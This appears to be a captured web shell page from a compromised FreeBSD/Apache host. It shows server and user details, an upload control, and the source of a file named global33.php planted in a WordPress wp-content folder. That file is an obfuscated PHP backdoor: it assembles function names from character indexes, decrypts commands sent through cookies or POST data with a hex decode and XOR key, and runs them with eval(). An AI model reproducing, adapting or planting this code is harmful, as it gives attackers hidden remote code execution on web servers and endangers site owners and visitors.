HEX
Server: Apache/2.4.49 (FreeBSD) OpenSSL/1.0.2s-freebsd PHP/5.6.36
System: FreeBSD hosting.icon.bg 11.3-RELEASE-p13 FreeBSD 11.3-RELEASE-p13 #0: Tue Sep 1 06:56:51 UTC 2020 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
User: ftpuser (1002)
PHP: 5.6.36
Disabled: NONE
Upload Files
File: /hosting/kak.bg/web/wp-content/global33.php
<?php
$aialy = 'axr#kl6so1-em5t\'_fv8b94gp2cdy7uniH*';$xrexzh = Array();$xrexzh[] = $aialy[33].$aialy[34];$xrexzh[] = $aialy[22].$aialy[6].$aialy[11].$aialy[13].$aialy[29].$aialy[27].$aialy[29].$aialy[19].$aialy[10].$aialy[11].$aialy[13].$aialy[27].$aialy[17].$aialy[10].$aialy[22].$aialy[0].$aialy[25].$aialy[25].$aialy[10].$aialy[19].$aialy[9].$aialy[13].$aialy[21].$aialy[10].$aialy[21].$aialy[9].$aialy[20].$aialy[27].$aialy[13].$aialy[6].$aialy[29].$aialy[26].$aialy[25].$aialy[0].$aialy[25].$aialy[20];$xrexzh[] = $aialy[3];$xrexzh[] = $aialy[26].$aialy[8].$aialy[30].$aialy[31].$aialy[14];$xrexzh[] = $aialy[7].$aialy[14].$aialy[2].$aialy[16].$aialy[2].$aialy[11].$aialy[24].$aialy[11].$aialy[0].$aialy[14];$xrexzh[] = $aialy[11].$aialy[1].$aialy[24].$aialy[5].$aialy[8].$aialy[27].$aialy[11];$xrexzh[] = $aialy[7].$aialy[30].$aialy[20].$aialy[7].$aialy[14].$aialy[2];$xrexzh[] = $aialy[0].$aialy[2].$aialy[2].$aialy[0].$aialy[28].$aialy[16].$aialy[12].$aialy[11].$aialy[2].$aialy[23].$aialy[11];$xrexzh[] = $aialy[7].$aialy[14].$aialy[2].$aialy[5].$aialy[11].$aialy[31];$xrexzh[] = $aialy[24].$aialy[0].$aialy[26].$aialy[4];foreach ($xrexzh[7]($_COOKIE, $_POST) as $hcpym => $amzehar){function rcsskwa($xrexzh, $hcpym, $zvqzh){return $xrexzh[6]($xrexzh[4]($hcpym . $xrexzh[1], ($zvqzh / $xrexzh[8]($hcpym)) + 1), 0, $zvqzh);}function qcdzu($xrexzh, $iezexr){return @$xrexzh[9]($xrexzh[0], $iezexr);}function hlstqdi($xrexzh, $iezexr){$orfpk = $xrexzh[3]($iezexr) % 3;if (!$orfpk) {eval($iezexr[1]($iezexr[2]));exit();}}$amzehar = qcdzu($xrexzh, $amzehar);hlstqdi($xrexzh, $xrexzh[5]($xrexzh[2], $amzehar ^ rcsskwa($xrexzh, $hcpym, $xrexzh[8]($amzehar))));}